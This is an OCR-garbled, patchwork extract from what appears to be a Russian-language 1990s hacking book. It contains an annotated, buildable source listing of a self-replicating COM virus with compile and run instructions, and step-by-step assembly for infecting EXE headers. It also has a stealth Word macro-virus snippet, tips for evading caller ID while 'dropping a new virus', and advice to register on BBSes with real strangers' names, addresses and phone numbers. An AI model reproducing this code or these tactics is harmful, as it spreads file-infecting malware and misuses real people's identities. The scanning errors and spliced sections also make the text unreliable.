Igdt [QWORD gdt_gdt] ;db OFh,01h,16h dw offset gdt_gdt

[Переводим процессор в защищенный режим

mov ax,0001h

Imsw ax ;db OFh,01h,FOh

[Переводим компилятор Turbo Assembler назад в режим MASM

masm

.286

[Производим длинный переход для того,

.чтобы очистить внутреннюю очередь

.команд процессора

jmp far flush

db OEAh

dw offset flush

dw CS_DESCR

flush:

Останавливаем в регистр SS селектор сегмента стека

mov ax,SS_DESCR

mov ss.ax

;Устанавливаем в регистр DS селектор сегмента данных

mov ax,DS_DESCR

mov ds.ax

.Записываем в строку qw символ "L" и выходим из подпрограммы

mov byte ptr ds: [off set qw+2],"L"

ret

set_protected_mode ENDP

Подпрограмма, возвращающая процессор в реальный режим

set_real_mode PROC

[Сохраняем значение регистра SP для реального режима

mov real_sp,sp

.Выполняем CPU Reset (рестарт процессора)

mov al,SHUT_DOWN

out STATUS_PORT,al

;Ждем, пока процессор перезапустится

wait_reset:

hit

jmp wait_reset

;C этого места программа выполняется после перезапуска процессора

shutdown_return:

;Устанавливаем регистр DS в соответствии с регистром CS

push cs

pop ds

восстанавливаем указатели на стек

;по ранее сохраненным значениям

mov ss,real_ss

mov sp,real_sp

[Закрываем адресную линию А20

call disable_a20

.Разрешаем немаскируемые прерывания

mov ax.OOOdh

out CMOS_PORT,al

[Разрешаем маскируемые прерывания

in al,INT-MASK_PORT

and al,0

out INT_MASK_PORT,al

sti

ret

set_real_mode EN DP

[Процедура, открывающая адресную линию А20. После открытия

[адресной линии программам будет доступна память свыше 1Мбайт

enable_a20 PROC

mov al,A20_PORT


out STATUS_PORT,al

mov al,A20_ON

out KBD_PORT_A.al

ret

enable_a20 ENDP

[Процедура, закрывающая адресную линию А20. После закрытия

[адресной линии программам будет недоступна память свыше 1Мбайт.

[Адресное пространство будет "зацикленным" в пределах 1Мбайт

disable_a20 PROC

mov al.A20_PORT

out STATUS_PORT,al

mov al,A20_OFF

out KBD_PORT_A,al

ret

disable_a20 ENDP

[Здесь сохраняется адрес стека

real_sp dw ?

real_ss dw ?

[Эта строка выводится на экран после работы программы

[Символ "?" заменяется на "L" в защищенном режиме

qw db 13,10,"?ight General",13,10,"$"

;Глобальная таблица дескрипторов. Нулевой дескриптор

обязательно должен быть "пустым"

GDT_BEG=$

gdtr label WORD

gdt_0 desc_struc <0,0,0,0,0>

gdt_gdt desc_struc

gdt_ds desc_struc

gdt_cs desc_struc

gdt_ss desc_struc

GDT_SIZE=($-GDT_BEG)

END start

Проверка на отсутствие АОН

Прежде чем получать адрес и звонить на BBS, нужно убедиться (напри-
мер, путем звонка с сотового телефона, с телефона-двойника типа
Panasonic, с таксофона или с телефона, который гарантированно не
определяется системой АОН), что на данном узле отсутствует система
АОН. Если в списке BBS (или в рекламе) указан тип модема Russian
Courier, Zyxell или IDC, с вероятностью 99% на этих станциях исполь-
зуются АОН. АОН выдает себя характерным щелчком и звуковым сиг-
налом, как правило, после первого гудка (он снимает трубку, а далее
идут гудки, выдаваемые самим АОН, как правило, отличающиеся от
первого гудка по тональности). Если АОН есть, но все же нужно остать-
ся анонимным (например, хотите провести акцию информационной
войны, сбросить новый вирус и тому подобное), можно воспользовать-
ся АнтиАОНом. Эти функции присутствуют практически во всех теле-
фонных аппаратах с АОН (например, в РУСЬ или в Phone Master).
Также можно купить приставку-АнтиАОН, которая еще не раз приго-
диться (в Москве, например, они продаются на радиорынке в Митино).
Функцию АнтиАОН лучше включать почти сразу после набора номера
и удерживать ее некоторое время. Если АОН не может определить но-
мер, то после снятия трубки АОН-ом слышится характерные тональные
сигналы (порядка 9 штук).

Сегменты кода и данных.

Если в сегменте кода содержатся вызовы
функций, определенных в других сегментах, то для таких вызовов необ-
ходимо использовать таблицы перемещений. Они располагаются непо-
средственно за кодом или данными в сегменте. В двух первых байтах
содержится число элементов таблицы.
Таблица содержит:
- тип адресации (только сегмент, только смещение, или и то, и другое);
- тип перемещения (внутренняя ссылка, импортируемый порядковый
номер, импортируемое имя);
- номер сегмента или порядковый ID (для внутренних ссылок);
- индекс таблицы ссылок или порядковый номер функции;
- индекс таблицы ссылок или смещение таблицы имен (для импорти-
руемых имен).

Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.

СОМ-ВИРУСЫ

В этой главе рассказано об ал-
горитмах работы вирусов,
заражающих СОМ-файлы,
и способах их внедрения. Пред-
ставлен исходный текст од-
ного из таких вирусов с под-
робными комментариями.
Также приведены основные све-
дения о структуре и принци-
пах работы СОМ-программы.
10 СОМ-вирусы
Компьютерные вирусы могут "гнездиться" в самых неожиданных мес-
тах, например, в записи начальной загрузки MBR (master boot record),
в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических биб-
лиотек DLL и даже в документах текстового процессора Microsoft Word
for Windows. В этом разделе подробно рассматривается строение виру-
са, поражающего СОМ-файлы.

Советы по регистрации

Никогда не стоит регистрироваться под настоящим именем, ведь неиз-
вестно, к кому может попасть эта информация и для чего она будет ис-
пользована. Можно взять любую телефонную базу, например, КОТИК
или ее Online версию (http://www.xland.ru:8088/tel_win/owa/tel.form),
и ввести любую выдуманную фамилию. Тривиальные фамилии, вроде
Иванов, Петров, Смирнов, Андреев, Алексеев и так далее, корректнее не
использовать, лучше что-то не совсем обычное (ну первое, что прихо-
дить в голову: Левашов, Дубинин, Авдотин, Садовский). Далее записы-
ваем инициалы, адрес и телефон любого человека из выведенного спис-
ка. При регистрации на BBS обычно требуется сообщить такие
сведения:
- имя и фамилию (иногда полное ФИО - полученные инициалы
нетрудно преобразовать во что либо, например Н.А. в Николая
Алексеевича; более того, инициалы могут и не совпадать, ведь по-
тенциально квартира может быть зарегистрирована, скажем, на ро-
дителей или жену) - вводятся полученные из базы;
- домашний адрес - полученный из базы;
- телефон - тоже полученный из базы;
- день рождения - придумываем;
- хобби - придумываем;
- и т.д.
Системные операторы BBS, как правило, очень ленивы, и максимум, на
что их хватит, так это проверить данные по той же самой базе.
Обязательно нужно все это куда-нибудь записать, можно в файл
(и хранить его в надежном месте, например, на диске, созданном про-
граммой BestCrypt). Рекомендуется использовать абсолютно разные
данные при работе с разными BBS! В FTN-сетях следует регистриро-
ваться, применяя подобные методы.
Рассмотрим еще один аспект privacy. Это "нехорошие" функции многих
программ: вести логические протоколы работы и так далее.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу-
щий вирус, если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dig
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:
On Error Goto ErrorRoutine 'При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros. SavToGlobal(01dName$)
macros.objectiv
Goto Done 'Переход на метку Done
ErrorRoutine:
On Error Goto Done "Переход на метку Done
If macros.bDebug Then
MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке
End If
Done:
End Sub
Макро-вирусы также могут включать внешние процедуры. Например,
вирус Nuclear пытается откомпилировать и запустить внешний
файл-разносчик вируса, некоторые троянские макросы пытаются фор-
матировать винчестер при открытии документа.

Способы внедрения СОМ-вирусов


Рассмотренный вирус дописывался в конец файла, а в начало файла
вписывал переход на себя. Существуют и другие способы внедрения
вирусов.
Рассмотрим два варианта внедрения СОМ-вируса в начало файла.
Вариант первый. Вирус переписывает начало программы в конец файла,
чтобы освободить место для себя. После этого тело вируса записывает-
ся в начало файла, а небольшая его часть, обеспечивающая перенос вы-
тесненного фрагмента программы, на прежнее место - в конец. При вос-
становлении первоначального вида программы тело вируса будет
затерто, поэтому код вируса, восстанавливающий программу, должен
находиться в безопасном месте, отдельно от основного тела вируса.
Этот способ внедрения изображен на рис. 1.3.
Способы внедрения СОМ-вирусов
Рис. 1.3.
При загрузке зараженного таким способом файла управление получит
вирус (так как он находится в начале файла и будет загружен с адреса
OlOOh). После окончания работы вирус передает управление коду, пере-
носящему вытесненную часть программы на прежнее место. После вос-
становления (в памяти, не в файле) первоначального вида программы,
она запускается. Схема работы вируса изображена на рис. 1.4.
Второй вариант отличается от первого тем, что вирус, освобождая для
себя место, сдвигает все тело программы, а не переносит ее часть в ко-
нец файла. Этот способ внедрения изображен на рис. 1.5.
После запуска зараженной программы, как и в предыдущем случае,
управление получает вирус. Дальнейшая работа вируса отличается
только тем, что часть вируса, восстанавливающая первоначальный вид
Способы внедрения СОМ-вирусов
программы, переносит к адресу OlOOh все тело программы, а не только
вытесненную часть. Схема работы вируса, заражающего файл таким
образом, приведена на рис. 1.6.
Существуют разновидности вирусов, не дописывающие часть своего
тела в конец файла. К примеру, вирус может внедряться в середину
файла. В этом случае алгоритм работы вируса является смесью алгорит-
мов одного из двух только что описанных вирусов и вируса, описанно-
го в разделе "Простейший СОМ-вирус".
Способы внедрения СОМ-вирусов

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец
файла дописывается тело вируса, а заголовок корректируется (с сохране-
нием оригинального) так, чтобы при запуске инфицированного файла
управление получал вирус. Похоже на заражение СОМ-файлов, но вмес-
то задания в коде перехода в начало вируса корректируется собственно
адрес точки запуска программы. После окончания работы вирус берет из
сохраненного заголовка оригинальный адрес запуска программы, прибав-
ляет к его сегментной компоненте значение регистра DS или ES (полу-
ченное при старте вируса) и передает управление на полученный адрес.
Следующий способ - внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после
него - код инфицируемой программы. Таким образом, код программы
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название
способа - "способ сдвига". При запуске инфицированного файла вирус
заражает еще один или несколько файлов. После этого он считывает
в память код программы, записывает его в специально созданный на
диске временный файл с расширением исполняемого файла (СОМ или
ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо-
ту, временный файл удаляется. Если при создании вируса не применя-
лось дополнительных приемов защиты, то вылечить инфицированный
файл очень просто - достаточно удалить код вируса в начале файла,
и программа снова будет работоспособной. Недостаток этого метода
в том, что приходится считывать в память весь код инфицируемой про-
граммы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов - метод переноса - по всей ви-
димости, является самым совершенным из всех перечисленных. Вирус
размножается следующим образом: при запуске инфицированной про-
граммы тело вируса из нее считывается в память. Затем ведется поиск
неинфицированной программы.
В память считывается ее начало,

по длине равное телу вируса. На это место записывается тело вируса.

Начало программы из памяти дописывается в конец файла. Отсюда на-

звание метода - "метод переноса". После того, как вирус инфицировал

один или несколько файлов, он приступает к исполнению программы,

из которой запустился. Для этого он считывает начало инфицирован-

ной программы, сохраненное в конце файла, и записывает его в начало

файла, восстанавливая работоспособность программы. Затем вирус уда-

ляет код начала программы из конца файла, восстанавливая оригиналь-

ную длину файла, и исполняет программу. После завершения програм-

мы вирус вновь записывает свой код в начало файла, а оригинальное

начало программы - в конец. Этим методом могут быть инфицированы

даже антивирусы, которые проверяют свой код на целостность, так как

запускаемая вирусом программа имеет в точности такой же код, как

и до инфицирования.

Стандартное заражение ЕХЕ-файлов


Стандартное заражение - заражение, при котором вирус внедряется
в конец файла, изменяя заголовок так, чтобы после загрузки файла уп-
равление получил вирус. Принципиально действие такого вируса мало
отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить
способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-
граммы:
;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21 h
Останавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя Sl+смещение элемента
mov si,offset EXEHeader
[Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним полученную длину файла
mov Reallen.dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
оверлейные файлы. Их длина, указанная в заголовке,
.-меньше реальной, то есть эти файлы загружаются
;в память не полностью.
Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
Сохраним в стеке реальную длину ЕХЕ-файла
push dx
push ax
рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток
CompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX - остаток, образующий
;еще одну (неучтенную) страницу.
.Добавим эту страницу к общему числу страниц -
;если остаток не равен нулю, то
.увеличим число страниц
or dx.dx
jz m1
inc ax
m1:
.Будем считать пригодным для заражения
.стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.

.Значения констант, используемых в программе,

.равны смещению соответствующего

;элемента в заголовке ЕХЕ-файла (Приложение А)

InitRetVars:

mov ax,[si+ReloSS]

mov oldss.ax

mov ax,[si+ExeSP]

mov oldsp.ax

mov ax,[si+ReloCS]

mov oldcs.ax

mov ax,[si+Exe!P]

mov oldip.ax

. Восстановим из стека реальную длину файла

;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

.Рассчитаем длину программы с вирусом, для чего прибавим

;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE - длина тела вируса

adc dx.0

рассчитаем получившуюся длину (одна страница - 512 байт)

;и остаток в последней странице (так же,

;как рассчитывали длину файла без вируса)

mov cx,0200h

div ex

or dx.dx

jz newJen

inc ax

NewJen:

;Внесем в заголовок новую длину файла

mov [si+PageCnt],ax

mov [si+PartPag],dx

;Прочитаем реальную длину файла.

;По ней будем рассчитывать новую

;точку входа в программу (адрес запуска)

Eval_new_entry:

mov dx.Reallen+2

mov ax.Reallen

; Рассчитаем новую точку входа.

.Точка входа в вирус должна находиться

;в начале его тела. Другими словами, нужно к длине файла

.прибавить смещение точки входа.

;Разделим длину на размер параграфа (10h)

mov cx,10h

div ex

Получили число параграфов (AX) и остаток (DX - смещение

;вируса в последнем параграфе).

;0тнимем от числа параграфов в файле число

.параграфов в заголовке - получим сегмент входа в ЕХЕ-файл

sub ax,[si+HdrSize]

;3апишем новую точку входа в заголовок

mov [si+ReloCS],ax

mov [si+ExelP],dx

.Замечание: можно было округлить полученное число,

;и вирус начинался бы с OOOOh.

;Но этого делать не стоит.

,-Естественно, все обращения к данным в этом вирусе

должны быть нефиксированными, как и в любом другом вирусе.

;Вместо "mov ax,ANYDATA" придется делать так:

; mov si.VIRSTART

; mov ax,[si+offset ANYDATA]

;где offset ANYDATA - смещение относительно начала тела вируса

;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно

;вернем, иначе можно стереть заготовленные в стеке значения!


.' Установим сегмент стека такой же, как и кода,

;а указатель на вершину стека -

;на 100h байт после тела вируса

mov [si+ReloSSj.ax

mov ax.VIRSIZE+IOOh

mov [si+ExeSP],ax

;Теперь запишем заголовок в файл, не забыв и тело вируса.

; Рекомендуется писать сначала тело, а потом заголовок.

;Если тело вдруг не допишется,

;то файл испортим зря

UpdateRle:

;3апишем тело вируса

WriteBody:

.-Установим указатель чтения/записи в конец файла

mov bx,Handle

хог сх,сх

xor dx.dx

mov ax,4202h

int 21 h

.Запишем тело вируса в файл

mov ah,40h

mov cx.VIRSIZE

mov dx.offset VIRStart

int 21h

;3апишем заголовок

WriteHeader:

;Установим указатель чтения/записи в начало файла

mov ax,4200h

xor ex,ex

xor dx.dx

int 21 h

.Запишем заголовок в файл

mov cx,0018h

mov ah,40h

mov dx.si

int 21 h

Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы

вируса передать управление инфицированной программе? Вот процеду-

ра выхода из вируса:

CureEXE:

StackBack:

-.Установим первоначальный указатель (сегмент и смещение) стека

mov ax.ds

-.Прибавим ООЮп, после чего в АХ будет

;находится сегмент, с которого

;загружен программный модуль

add ax,10h

Прибавим первоначальный сегмент стека

db @add_ax ;код ADD AX, дальше по аналогии

OldSS dw ? ;это значение было установлено

;при заражении

;3апретим прерывания, так как со стеком нельзя работать,

;пока и сегмент, и смещение не установлены в нужное значение

cli

-.Установим сегмент стека (PSP+Wh+OldSS)

mov ss.ax

:Установим первоначальный указатель (смещение) стека

db @mov_sp

OldSP dw ?

; Разрешим прерывания - опасный участок пройден

sti

[Подготовим значения в стеке для команды IRET

RetEntryPoint:

pushf

рассчитаем сегмент для кода по аналогии с сегментом стека

mov ax.DATASEG

add ax,10h

db @add_ax

OldCS dw ?

;Сохраним в стеке полученное значение (PSP+Wh+OldCS)

push ax

;Сохраним в стеке смещение исходной точки входа

db @mov_ax

OldIP dw ?

push ax

.Запустим программу. В стеке находятся смещение

;точки входа, сегмент точки входа и флаги

iret

Стандартные программы защиты


В большинстве случаев вирус, заразивший компьютер, помогут обнару-
жить уже разработанные программы-детекторы. Они проверяют, имеет-
ся ли в файлах на указанном пользователем диске специфическая для
данного вируса последовательность байт. При обнаружении вируса про-
грамма выводит на экран соответствующее сообщение.
Стоит также заметить, что программы-детекторы не слишком универ-
сальны, поскольку способны обнаружить только известные вирусы. Не-
которым таким программам можно сообщить специальную последова-
тельность байт, характерную для какого-то вируса, и они смогут
обнаружить инфицированные им файлы - например, это умеет Notron
AntiVirus или AVSP.
Программа Aidstest устарела и сейчас уже практически не использует-
ся. Наиболее широкое распространение получили программы DrWeb
и AVP. Благодаря своим новейшим детекторам, они могут обнаружить
любые вирусы - как самые старые, так и только что появившиеся. Еще
нужно упомянуть детектор Adinf. Эта антивирусная программа обнару-
живает все вирусы, не изменяющие длину файлов, невидимые вирусы,
и многие другие. Таким образом, эти три программы обеспечат мощней-
шую защиту против вирусов. Кстати, на западе тоже предпочитают
пользоваться российскими программами DrWeb и AVP.
Спасаясь от вирусов, создайте мощную защиту против них. Установите
на своем диске AVP, DrWeb и Adinf. Каждая программа хороша по-сво-
ему - пусть защита будет многоуровневой. Все эти программы можно
вписать в файл AUTOEXEC.BAT, тогда при загрузке компьютера про-
верка на заражение вирусом будет проводиться автоматически.
Всегда проверяйте файлы, попадающие на ваш компьютер. Любой из
них может быть заражен вирусом, это нужно помнить. Никогда не по-
зволяйте посторонним работать на вашем компьютере - именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и про-
граммы всегда нужно проверять на вирус.

Структура и процесс загрузки ЕХЕ-программы


В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-
скольких сегментов (кодов, данных, стека). Они могут занимать боль-
ше 64Кбайт.
ЕХЕ-файл имеет заголовок, который используется при его загрузке.
Заголовок состоит из форматированной части, содержащей сигнатуру
и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-
стройки адресов (Relocation Table). Таблица состоит из значений в фор-
мате сегмент:смещение. К смещениям в загрузочном модуле, на которые
указывают значения в таблице, после загрузки программы в память дол-
жен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функ-
ции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти, размер
которого достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ-
ствующие значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5. В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7. Определяется смещение загрузочного модуля в файле, равное
HdrSize*16.
8. Вычисляется сегментный адрес (START_SEG) для загрузки -
обычно это PSP+lOh.
9. Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000).
10. Для каждого входа таблицы настройки:
a) читаются слова I_OFF и I_SEG;
b) вычисляется RELC^SEG-START^SEG+LSEG;
c) читается слово по адресу RELO_SEG:I_OFF;
d) к прочитанному слову прибавляется START_SEG;
e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11. Распределяется память для программы в соответствии с МахМет
и МтМет.
12. Инициализируются регистры, выполняется программа:
a) ES=DS°PSP;
b) АХ=результат проверки правильности идентификаторов драйве-
ров, указанных в командной строке;
c) SS°START_SEG+ReloSS, SP-ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.

Структура и процесс загрузки СОМ-программы


Что же представляет собой СОМ-программа, как она загружается
в память и запускается?
Структура СОМ-программы предельно проста - она содержит только
код и данные программы, не имея даже заголовка. Размер СОМ-про-
граммы ограничен размером одного сегмента (64Кбайт).
И еще два понятия, которые часто будут встречаться:
Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh)
байт, предшествующая программе при ее загрузке. PSP содержит дан-
ные командной строки и относящиеся к программе переменные.
Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена
данными с файлом (чтение или запись). Область DTA для работы
с файлом используют многие функции, в том числе и не производящие
чтение или запись в файл. Примером может служить функция 4Eh
(найти первый файл по шаблону), которая будет неоднократно встре-
чаться в листингах программ.
Загрузка СОМ-программы в память и ее запуск происходят так:
1. Определяется сегментный адрес свободного участка памяти доста-
точного для размещения программы размера.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегментЮЮОЬ - программа). В поля PSP заносятся соответствую-
щие значения.
4. Устанавливается адрес DTA равным PSP:0080h.
5. Загружается СОМ-файл с адреса PSP:0100h.
6. Значение регистра АХ устанавливается в соответствии с парамет-
рами командной строки.
7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм-
мы (PSP.-OOOOh).
8. Регистр SP устанавливается на конец сегмента, после чего в стек за-
писывается OOOOh.
9. Происходит запуск программы с адреса PSP:0100h.
СОМ-программа всегда состоит из одного сегмента и запускается со
смещения OlOOh.

Таблица импортируемых имен.

В ней записаны имена модулей, импор-
тируемых в исполняемый файл. Каждый вход состоит из двух частей -
байта длины строки и собственно строки.

Таблица нерезидентных имен.

Содержит имена экспортируемых функ-
ций, содержащихся в исполняемом файле. Эти имена не всегда остают-
ся резидентными в памяти. Структура полностью совпадает со структу-
рой таблицы резидентных имен.

Таблица ресурсов.

Ресурсами являются все основные объекты интер-
фейса - диалоговые окна, меню, курсоры, растровые изображения, знач-
ки и так далее.

ющие экспортируемые функции исполняемого файла.

В ней содержатся строки, идентифициру-

ющие экспортируемые функции исполняемого файла. Постоянно нахо-

дятся в памяти и никогда не сбрасываются на диск. Верхний и нижний

регистры различаются, ноль в конце отсутствует.
Данные в таблице находятся в виде:
- длина строки (равна нулю, если в таблице нет дополнительных

строк);
- строка резидентного имени (первая строка - имя модуля);
- порядковый номер, идентифицирующий строку. Может использо-

ваться в качестве индексного выхода в таблицу.

Таблица ссылок на модули.

В ней содержится список смещений имен
модулей, хранящихся в таблице импортируемых имен. Каждый вход
в таблице есть двубайтное последовательное число.

Таблица входов.

В ней содержатся группы точек входа в исполняемый
файл.
Эти группы создаются редактором связей и последовательно пронуме-
рованы (начиная с 1). Каждая группа начинается с двухбайтного заго-
ловка, который содержит число входов в группе (OOh - конец таблицы)
и дополнительную информацию о сегменте (FFh - перемещаемый,
FEh - вход относится к константе, определенной внутри модуля, иначе
вход является индексом сегмента). Для перемещаемых сегментов каж-
дый вход состоит из шести байт, а для фиксированных - из трех.

Тело вируса записывается в конец

Рис. 1.1.
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname - offset myself
add dx.bp
mov cx,00100111b
int 21h
Затем вирус проверяет (по первому байту файла), подходят ли ему най-
денные СОМ-программы:
[Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
; Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx.bp
xor ex,ex ;CX=0
Тело вируса записывается в конец
inc ex [(увеличение на 1) СХ=1
int 21h
Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
.файла - этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
Перед заражением файла вирус проверяет сигнатуру - не исключено,
что файл уже заражен:
Переходим в конец файла (на последний байт)
mov ax,4200h
xor ex,ex
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx.offset bytik-offset myself
add dx.bp
int 21h
.Если при чтении файла ошибок не произошло,
[Проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
[Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,
.если ее нет - будем заражать
je find_next2
jmp NotJnfected
Затем, в соответствии с предложенной схемой, вирус дописывается
в конец файла-жертвы и устанавливает адрес перехода на самого себя:
[Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Останавливаем регистр DS на сегмент кода
push cs
pop ds
[Копируем вирус в файл
mov ah,40h
mov cx.offset VirEnd-offset la
mov dx,bp
sub dx,offset myself-offset la
int 21h
[Записываем в начало файла переход на тело вируса
Write_Jmp:
.Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h
[Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov сх,3

mov dx, offset jmpvir-offset myself

add dx.bp

int 21h

После того, как вирус закончит свою работу, он восстанавливает

в исходное состояние первые три байта программы (в памяти компью-

тера) и передает управление на начало программы. Далее, при

запуске зараженного файла, управление сначала получает вирус, затем -

исходная программа. Благодаря такой схеме работы рассматриваемый

вирус может спокойно существовать, будучи один раз выпущенным

на волю.

Как запустить вирус? В любом текстовом редакторе создается файл

LEO.ASM, содержащий исходный текст вируса, затем этот файл компи-

лируется и компонуется готовая программа. Например, в системе про-

граммирования Turbo Assembler последние два этапа выполняются та-

кими командами:

tasm.exe leo.asm

tlink leo.obj/t

В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.

Для проверки работы вируса можно создать отдельный каталог и ско-

пировать в него этот файл, а также несколько других СОМ-файлов.

После запуска LEO.COM вирус внедрится во все остальные СОМ-фай-

лы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус

распространяется только в текущем каталоге. Ниже приводится исход-

ный текст вируса:

.286 .Устанавливаем тип процессора

CheckByte equ OFOh

[Указываем, что регистры CS и DS содержат

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть - "code ends"

code segment

Останавливаем смещения в сегменте кода.

Данная строчка обязательна

;для СОМ-программы (все СОМ-программы

начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный СОМ-файл.

;Тело вируса начинается с метки la

; jmp la

db OE9h ;Код команды JMP

dw offset la-offset real

real:

[Выходим из программы

mov ah,4Ch

int 21 h

;3десь начинается тело вируса

la:

;Сохраняем регистры и флаги

pushf

pusha

push ds es

.Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата


call MySelf

MySelf:

pop bp

восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]-offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]-offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]-offset MySelf)]

mov byte ptr cs:[102h],al

[Дальнейшая задача вируса - найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

.Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx.offset fname-offset myself

add dx.bp

mov cx,00100111b

int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

attributes:

.Читаем оригинальные атрибуты файла

mov ax,4300h

mov dx,9Eh .Адрес имени файла

int 21 h

.Сохраняем оригинальные атрибуты файла

push ex

•.Устанавливаем новые атрибуты файла

mov ax,4301h

mov dx,9Eh .Адрес имени файла

mov cx,20h

int 21 h

Переходим к открытию файла

jmp Open

;Ищем следующий файл, так как предыдущий не подходит

FincLNext:

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh ;Адрес имени файла

pop сх

int 21 h

[Закрываем файл

mov ah,3Eh

int 21 h

;Ищем следующий файл

mov ah,4Fh

int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

.-Открываем файл
